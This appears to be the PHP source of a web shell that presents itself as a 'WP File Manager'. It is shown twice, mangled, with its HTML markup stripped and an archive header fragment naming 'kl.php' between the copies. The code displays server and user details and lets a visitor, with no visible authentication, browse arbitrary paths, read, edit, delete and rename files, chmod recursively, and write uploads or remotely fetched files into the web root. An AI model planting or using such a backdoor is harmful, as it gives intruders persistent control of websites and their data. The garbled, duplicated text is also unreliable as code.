'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]qÜd©Ë©Ëinfo@pelasgus.al/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
